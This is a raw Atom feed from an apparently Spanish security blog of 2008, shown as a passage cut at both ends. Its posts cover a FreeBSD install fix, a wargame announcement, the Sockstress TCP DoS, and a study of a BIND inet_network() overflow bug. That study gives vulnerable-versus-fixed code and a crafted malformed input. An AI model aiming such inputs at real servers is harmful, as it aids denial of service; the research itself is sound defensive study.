class="posted"&gt;http://www.freebsd.org/cgi/cvsweb.cgi/ports/graphics/imlib2/imlib2.tar.gz?tarball=1&lt;/a&gt;&lt;br&gt;&lt;br&gt;Descomprimimos&lt;br&gt;&lt;br&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;# tar xvf imlib2.tar.gz&lt;br&gt;# cd imlib2&lt;br&gt;# make &amp;amp;&amp;amp; make install&lt;br&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;&lt;br&gt;Y ahora si podemos ir al directorio de enlightenment y continuar su instalacion.&lt;br&gt;&lt;br&gt;&lt;img src="http://foro.elhacker.net/Smileys/chef/wink.gif" alt=";)" border="0"&gt; saludos y espero a alguien le sirva&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-311271094548311980?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/311271094548311980/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=311271094548311980' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/311271094548311980'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/311271094548311980'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2008/12/freebsd-problema-con-imlib2-141000.html' title='FreeBSD: Problema con imlib2-1.4.1.000 (Solucion)'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://thefenix.files.wordpress.com/2007/04/bsd-big.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-3787386745799272532</id><published>2008-12-01T08:44:00.001-06:00</published><updated>2008-12-01T08:45:33.472-06:00</updated><title type='text'></title><content type='html'>En &lt;strong&gt;Windows Vista&lt;/strong&gt; el cliente de &lt;strong&gt;telnet&lt;/strong&gt; no está instalado por defecto. Si queremos usarlo tendremos que marcarlo en Inicio -&gt; Panel de Control -&gt; Programas -&gt; Activar o desactivar las características de Windows.&lt;br /&gt;&lt;br /&gt;Ahi buscamos en la lista Telnet u algun otro cliente que queramos.&lt;br /&gt;&lt;br /&gt;Esto lo menciono por que se me ha hecho muy dificil poner NC en algunas computadoras por los antivirus.&lt;br /&gt;&lt;br /&gt;En sistemas Unix/Linux el NC viene generalmente de forma predeterminada.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-3787386745799272532?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/3787386745799272532/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=3787386745799272532' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/3787386745799272532'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/3787386745799272532'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2008/12/en-windows-vista-el-cliente-de-telnet.html' title=''/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://thefenix.files.wordpress.com/2007/04/bsd-big.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-269150927565250893</id><published>2008-11-16T14:31:00.001-06:00</published><updated>2009-02-23T12:41:10.978-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='elhacker.net'/><category scheme='http://www.blogger.com/atom/ns#' term='Torneo'/><category scheme='http://www.blogger.com/atom/ns#' term='Anon'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><title type='text'>Torneo de explotacion de servidores</title><content type='html'>Sabemos que muchos de ustedes querian explotar vulnerabilidades en aplicaciones binarias, como buffer overflows, heap overflows, etc..asi tambien nos han pedido pruebas de vulnerar un servidor.&lt;br /&gt;&lt;br /&gt;En fin, creemos eso es una buena idea, pero no podemos montar tales pruebas en un servidor nuestro por seguridad, y no lo podemos virtualizar, por rendimiento.. asi que Anon organizara un wargame de este tipo, y le pedi que si podia hacernos el favor de organizarlo para los usuarios de warzone, y dijo que si! entonces..&lt;br /&gt;&lt;br /&gt;El dia Sabado 29 de Noviembre del 2008 a media noche, horario GMT (Meridiano de Greenwich/Casablanca), 6:00 pm en la ciudad de mexico (GMT-6), 9:00pm en Buenos Aires (GMT-3), 1:00 am en Madrid (GMT+1), se publicara en warzone una prueba en la cual los usuarios podran obtener la direccion del wargame, junto con sus datos de inicio de sesion.&lt;br /&gt;&lt;br /&gt;El objetivo sera ir pasando desde 4 niveles, explotando vulnerabilidades en los ejecutables dentro del mismo, permisos, etcetera.&lt;br /&gt;&lt;br /&gt;Los primeros 5 que pasen la prueba, se les daran 30 puntos en warzone, asi como una promocion de 2 rangos (maximo rango: elite, los que ya esten en elite, pasaran a nightmare.), una cuenta de correo @elhacker.net, asi como acceso a todos sus servicios.&lt;br /&gt;&lt;br /&gt;Los siguientes 5, recibiran 15 puntos en warzone, una promocion de 1 rango (no podran pasar a nightmare, los elite).&lt;br /&gt;&lt;br /&gt;Todos los demas que pasen la prueba, tendran 10 puntos en warzone, sin promocion de rango.&lt;br /&gt;&lt;br /&gt;Hay bonos:&lt;br /&gt;&gt; Modificar el MOTD agregando su nick.&lt;br /&gt;    -     20 puntos&lt;br /&gt;&gt; Menor tiempo en pasarlo&lt;br /&gt;    -    15 puntos&lt;br /&gt;&gt; Mejor documentacion de como pasarlo*&lt;br /&gt;    -    15 puntos (+ cuenta @elhacker.net si no la tienen ya)&lt;br /&gt;   *     Esta debe ser enviada de forma privada, se le daran los creditos al autor.&lt;br /&gt;&gt; Posiblemente mas, dependiendo de como se desenvuelva el torneo.&lt;br /&gt;&lt;br /&gt;El wargame estara online 10 dias, pero podria estar mas tiempo.&lt;br /&gt;&lt;br /&gt;En fin, esperamos contar con su presencia! les prometo sera divertido.. mas detalles de la prueba se colocaran en cuanto se acerque la fecha.&lt;br /&gt;&lt;br /&gt;Saludos!!&lt;br /&gt;&lt;br /&gt;Discutir aqui: &lt;a href="http://foro.elhacker.net/warzone/torneo_de_explotacion_de_servidores-t235190.0.html" target="_blank" class="posted"&gt;http://foro.elhacker.net/warzone/torneo_de_explotacion_de_servidores-t235190.0.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-269150927565250893?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/269150927565250893/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=269150927565250893' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/269150927565250893'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/269150927565250893'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2008/11/torneo-de-explotacion-de-servidores.html' title='Torneo de explotacion de servidores'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://thefenix.files.wordpress.com/2007/04/bsd-big.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-7084127797423865516</id><published>2008-10-25T09:15:00.003-05:00</published><updated>2008-10-26T10:16:27.761-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TCP'/><category scheme='http://www.blogger.com/atom/ns#' term='Sockstress'/><category scheme='http://www.blogger.com/atom/ns#' term='DoS'/><category scheme='http://www.blogger.com/atom/ns#' term='Implementacion'/><category scheme='http://www.blogger.com/atom/ns#' term='Exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='Outpost24'/><title type='text'>Ataques a la implementacion de TCP _ Outpost24</title><content type='html'>&lt;p&gt;Bien, he estado leyendo sobre el tema, sinceramente les comento que no tengo mucho de haberme enterado de este nuevo DoS en la Pila de TCP ya confirmado por Cisco, que al parecer va a afectar a la mayoría de las implementaciones, Windows, Unix, IOS, ... etc.&lt;/p&gt;&lt;p&gt;Viendo que hay muchos enlaces sin referenciar, hay que agregar el enlace con la información mas Ordenada que es el de fyodor:&lt;/p&gt;&lt;p&gt;&lt;a class="posted" href="http://insecure.org/stf/tcp-dos-attack-explained.html" target="_blank"&gt;http://insecure.org/stf/tcp-dos-attack-explained.html&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Ahora la ultima noticia sobre esto marca a Cisco el día 17 donde publica un &lt;a class="posted" href="http://tools.cisco.com/security/center/viewAlert.x?alertId=16773" target="_blank"&gt;reporte&lt;/a&gt; de alerta de Seguridad Nivel 3 "Sockstress Exploit Tool Exposes Vulnerabilities in TCP Stack Implementations of Multiple Vendors"&lt;/p&gt;&lt;p&gt;También se puede ver que ya tiene su propio CVE: &lt;a class="posted" href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4609" target="_blank"&gt;CVE-2008-4609&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Bien, pero lo anterior son noticias que ya estaban publicadas y solo se agregan como referencia de lecturas. Ok, el principal punto de partida es la SockStress que usa Cisco, para dar credibilidad a las múltiples Vulnerabilidades en la Pila TCP, bien como menciono sdc se ocupa tener conocimiento de la Pila TCP, los cuales son aportados por sus respectivos RFC’s, Ahora si las vulnerabilidades existen, que ya cisco ha comprobado que si, estas están ahí, en la mayoría de los sistemas Operativos, esto desde hace mucho tiempo.&lt;/p&gt;&lt;p&gt;Buscando en referencias libres (No propietarias) he estado analizado en el código fuente de linux dentro de los archivos tcp.c entre otros, prestando especial atención a los comentarios, he notado algunos comentarios, como que hay que tener cuidado con el tamaño del Window, y otras cosas mas. La verdad no he dado con nada En especifico, pero se que debe de estar ahí, listo para ser encontrado.&lt;/p&gt;&lt;p&gt;Espero que alguien que conozca mas sobre la Pila de TCP nos de una idea mas clara de que estamos buscando y en donde.&lt;/p&gt;&lt;p&gt;Saludos y gracias de antemano por cualquier aporte útil&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-7084127797423865516?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/7084127797423865516/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=7084127797423865516' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/7084127797423865516'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/7084127797423865516'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2008/10/ataques-la-implementacion-de-tcp.html' title='Ataques a la implementacion de TCP _ Outpost24'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://thefenix.files.wordpress.com/2007/04/bsd-big.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-5420898253416681036</id><published>2008-02-11T22:58:00.002-06:00</published><updated>2009-02-23T12:40:40.412-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='elhacker.net'/><category scheme='http://www.blogger.com/atom/ns#' term='DDoS'/><category scheme='http://www.blogger.com/atom/ns#' term='Anon'/><title type='text'>Ataques DDoS un Fastidio</title><content type='html'>Recientemente he leido demasiadas Noticias sobre DDoS y demas, la verdad yo veo estos ataques como un acto de una persona sin Cerebro que lo unico que sabe hacer es Quitar el servicio con sus Estupidos Zombies. Me importa un Comino que sepa Mucho o Poco.&lt;br /&gt;&lt;br /&gt;Aqui unos Link sobre lo sucedido:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.error500.net/ataques-ddos-error500"&gt;http://www.error500.net/ataques-ddos-error500&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.weblogssl.com/2008/02/07-ataque-de-ddos-a-genbeta"&gt;http://www.weblogssl.com/2008/02/07-ataque-de-ddos-a-genbeta&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blog.meneame.net/2008/02/08/problemas-de-red/"&gt;http://blog.meneame.net/2008/02/08/problemas-de-red/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ahora la comunidad Hacker preocupada y preguntandose como puede ayudar.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://foro.elhacker.net/index.php/topic,199416.0.html"&gt;http://foro.elhacker.net/index.php/topic,199416.0.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ahora sobre seguridad&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Citar:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Ya descubrimos bien el tipo de ataque, flood UDP a puertos aleatorios. Hablé con Vicente, procederán a cerrar esos puertos.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;br /&gt;Bueno, en parte paquetes UDP, lo cual solucionaron bloqueando los puertos inecesarios.&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;br /&gt;Citar:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;El ataque se hizo desde servidores con Joomla y phpBB, explotaron un bug viejo y conocido que permite incluir ficheros PHP externos.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;br /&gt;Ok, estar al dia con las Actualizaciones de seguidad es Basico ya que no queremos estar en la lista de los Zombies Usados como en el ataque anterior. Estar siempre al dia y en contacto con nuestro administrador es Fundamental.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-5420898253416681036?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/5420898253416681036/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=5420898253416681036' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/5420898253416681036'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/5420898253416681036'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2008/02/ataques-ddos-un-fastidio.html' title='Ataques DDoS un Fastidio'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://thefenix.files.wordpress.com/2007/04/bsd-big.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-607008930634111863</id><published>2008-02-10T20:46:00.001-06:00</published><updated>2009-02-23T12:40:13.292-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='elhacker.net'/><category scheme='http://www.blogger.com/atom/ns#' term='DNS'/><category scheme='http://www.blogger.com/atom/ns#' term='BIND'/><category scheme='http://www.blogger.com/atom/ns#' term='inet_network()'/><category scheme='http://www.blogger.com/atom/ns#' term='BoF'/><category scheme='http://www.blogger.com/atom/ns#' term='Anon'/><title type='text'>Re: BoF en inet_network(), afecta a Servidor DNS: BIND</title><content type='html'>&lt;div style="overflow: auto; width: 100%;"&gt;Bien este sera mi ultimo mensaje en este Topic, referente al estudio de este bug, después solo contestare dudas y comentarios.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;¿Por que?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Por que debido a que la función en C, es muy Rápida/Eficiente debido a su corto código y gran manejo avanzado de C, genera un código en ensamblador muy Óptimo. Debido a esto y lo poco descubierto hasta ahora, el rendimiento de cualquier aplicacion que use &lt;b&gt;inet_network()&lt;/b&gt; como BIND en este caso, no se va a ver tan afectado en gran medida, al menos que se use a manera DDoS o teniendo un gran ancho de Banda puede ser posible.&lt;br /&gt;&lt;br /&gt;Sin embargo escribir un exploit/aplicacion que realize el esto se me hace muy Lamer.&lt;br /&gt;&lt;br /&gt;Lo ideal seria crear un exploit para obtener acceso al servidor mediante un remote shell o algo parecido, sin embargo como no fue posible encontrar una manera de corromper la pila, tampoco es posible crear el exploit.&lt;br /&gt;&lt;br /&gt;Ahora que si alguien quiere realizar dicho exploit/aplicacion solo por practica/conocimiento/interés contra un servidor del cual sea dueño. aquí y en los link presentados esta toda la información necesaria para realizarlo, bueno aparte de sus conocimientos de programacion.&lt;br /&gt;&lt;br /&gt;Doy por concluida mi participacion en este tema ya que le he dedicado mucho tiempo en analizar el código, ya me lo se de memoria &lt;img src="http://foro.elhacker.net/Smileys/chef/tongue.gif" alt="tongue" border="0" /&gt; y se me a hecho infructuoso cumplir mi cometido de realizar un exploit para la función &lt;b&gt;inet_network()&lt;/b&gt; vulnerable, sin embargo me queda la satisfacción de haber encontrado una debilidad al código de la función el cual puede representar un pequeño consumo del procesador en cualquier aplicacion que utilice la función mencionada.&lt;br /&gt;&lt;br /&gt;Cualquier duda y/o comentario favor de ponerlo en este topic.&lt;br /&gt;&lt;br /&gt;Un especial agradecimiento a todos aquellos que me apoyaron en el Topic y por PM Gracias!!&lt;br /&gt;&lt;br /&gt;Un saludo a todos.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-607008930634111863?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/607008930634111863/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=607008930634111863' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/607008930634111863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/607008930634111863'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2008/02/re-bof-en-inetnetwork-afecta-servidor_10.html' title='Re: BoF en inet_network(), afecta a Servidor DNS: BIND'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://thefenix.files.wordpress.com/2007/04/bsd-big.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-8618375903845574461</id><published>2008-02-06T20:44:00.001-06:00</published><updated>2009-02-23T12:39:57.374-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='elhacker.net'/><category scheme='http://www.blogger.com/atom/ns#' term='DNS'/><category scheme='http://www.blogger.com/atom/ns#' term='BIND'/><category scheme='http://www.blogger.com/atom/ns#' term='inet_network()'/><category scheme='http://www.blogger.com/atom/ns#' term='BoF'/><category scheme='http://www.blogger.com/atom/ns#' term='Anon'/><title type='text'>Re: BoF en inet_network(), afecta a Servidor DNS: BIND</title><content type='html'>&lt;div style="overflow: auto; width: 100%;"&gt;Bueno volviendo al tema del Estudio de un bug, y posteriormente el la Creacion de un exploit para el mismo. Lamento informarles que no he dado con nada en este bug pero bueno.&lt;br /&gt;&lt;br /&gt;Si nos consentramos en lo que sabemos, lo unico que cambio en la version vulnerable del codigo es que el siguiente fracmento de Cofigo cambio de lugar:&lt;br /&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;pp &amp;gt;= parts + &lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt; || val &amp;gt; 0xffU&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;INADDR_NONE&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;/pre&gt;&lt;br /&gt;De adentro del if, a afuera del mismo:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Version  Vulnerable&lt;/b&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;!digit&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;INADDR_NONE&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;*cp == &lt;span style="color: rgb(255, 0, 0);"&gt;'.'&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;pp &amp;gt;= parts + &lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt; || val &amp;gt; 0xffU&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;INADDR_NONE&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt; *pp++ = val, cp++;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;goto&lt;/span&gt; again;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Version NO Vulnerable&lt;/b&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;!digit&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;INADDR_NONE&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;pp &amp;gt;= parts + &lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt; || val &amp;gt; 0xffU&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;INADDR_NONE&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;*cp == &lt;span style="color: rgb(255, 0, 0);"&gt;'.'&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt; *pp++ = val, cp++;&lt;br /&gt; &lt;span style="color: rgb(177, 177, 0);"&gt;goto&lt;/span&gt; again;&lt;br /&gt; &lt;/pre&gt;&lt;br /&gt;Ok, aqui lo importante es preguntarnos como cambia el funcionamiento del programa Antes y despues  &lt;img src="http://foro.elhacker.net/Smileys/chef/huh.gif" alt="huh" border="0" /&gt;.&lt;br /&gt;&lt;br /&gt;Bien segun lo he analizado mientras voy en en el camion, mientras como, y hasta mientras sueño  &lt;img src="http://foro.elhacker.net/Smileys/chef/xD.gif" alt="" border="0" /&gt; el resultado operativo del codigo sigue siendo el mismo, si no es asi que alguien me lo haga saber y me diga lo ciego que estoy.&lt;br /&gt;&lt;br /&gt;Lo unico que noto es que el Procesador se ahorra unas cuantas Instrucciones en caso de que la la Condicion del if sea verdadera, en caso contrareo Todo trabaja Igual.  &lt;img src="http://foro.elhacker.net/Smileys/chef/rolleyes.gif" alt="rolleyes" border="0" /&gt; o no  &lt;img src="http://foro.elhacker.net/Smileys/chef/huh.gif" alt="huh" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;Bueno hasta el momento hago un recuento de lo que he Conseguido hasta el momento.&lt;br /&gt;&lt;br /&gt;Es posible Insertarle un valor Invalido para Obtener un Resultado Valido:&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;&lt;a href="http://foro.elhacker.net/index.php/topic,196923.msg937169.html#msg937169"&gt;Cita de: Anon en 24 Enero 2008, 20:06 &lt;/a&gt;&lt;/div&gt;&lt;div class="quote"&gt;Bueno entre las pruebas que estuve haciendo he visto que la aplicacion que tengo de prueba puede recivir cadenas como las que siguen sin colgarse:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código:&lt;/div&gt;&lt;div class="code"&gt;%./test_network 0xfffff00000011.0xfabcd000000003.0xa.0x90&lt;br /&gt;0x11030a90&lt;/div&gt;&lt;br /&gt;pero no nos ganamos nada ya que no ponemos nada en la memoria, las ffff se pierden en el corrimiento de bits hacia la izquierda dentro del microprocesador.    &lt;img src="http://foro.elhacker.net/Smileys/chef/sad.gif" alt="sad" border="0" /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Lo cual puede representar un &lt;b&gt;consumo de recursos &lt;/b&gt; en el &lt;span style="text-decoration: underline;"&gt;servidor BIND&lt;/span&gt;, o el programa que use la funcion &lt;span style="text-decoration: underline;"&gt;inet_network()&lt;/span&gt; vulnerale esto solo en caso de que se le envie constantememente cadenas Invalidas como las que mostre obviamente de mayor longitud ya que el Procesador tendria que estar dentro del mismo ciclo mientras le manden estas cadenas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Un saludo!!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-8618375903845574461?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/8618375903845574461/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=8618375903845574461' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8618375903845574461'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8618375903845574461'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2008/02/re-bof-en-inetnetwork-afecta-servidor.html' title='Re: BoF en inet_network(), afecta a Servidor DNS: BIND'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='http://thefenix.files.wordpress.com/2007/04/bsd-big.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-7930490609642959746</id><published>2008-01-29T22:01:00.002-06:00</published><updated>2009-02-23T12:39:42.290-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='elhacker.net'/><category scheme='http://www.blogger.com/atom/ns#' term='DNS'/><category scheme='http://www.blogger.com/atom/ns#' term='BIND'/><category scheme='http://www.blogger.com/atom/ns#' term='inet_network()'/><category scheme='http://www.blogger.com/atom/ns#' term='BoF'/><category scheme='http://www.blogger.com/atom/ns#' term='Anon'/><title type='text'>Re: BoF en inet_network(), afecta a Servidor DNS: BIND</title><content type='html'>&lt;div style="overflow: auto; width: 100%;"&gt;Bien, primero pense que era la variable "val", que sumada al corrimiento de bits que se le hace, podia sobre escribir en la memoria asi que me puse un ejemplo para ver si servia:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeheader"&gt;Código&lt;/div&gt;&lt;pre class="geshi"&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; main&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;unsigned&lt;/span&gt; &lt;span style="color: rgb(153, 51, 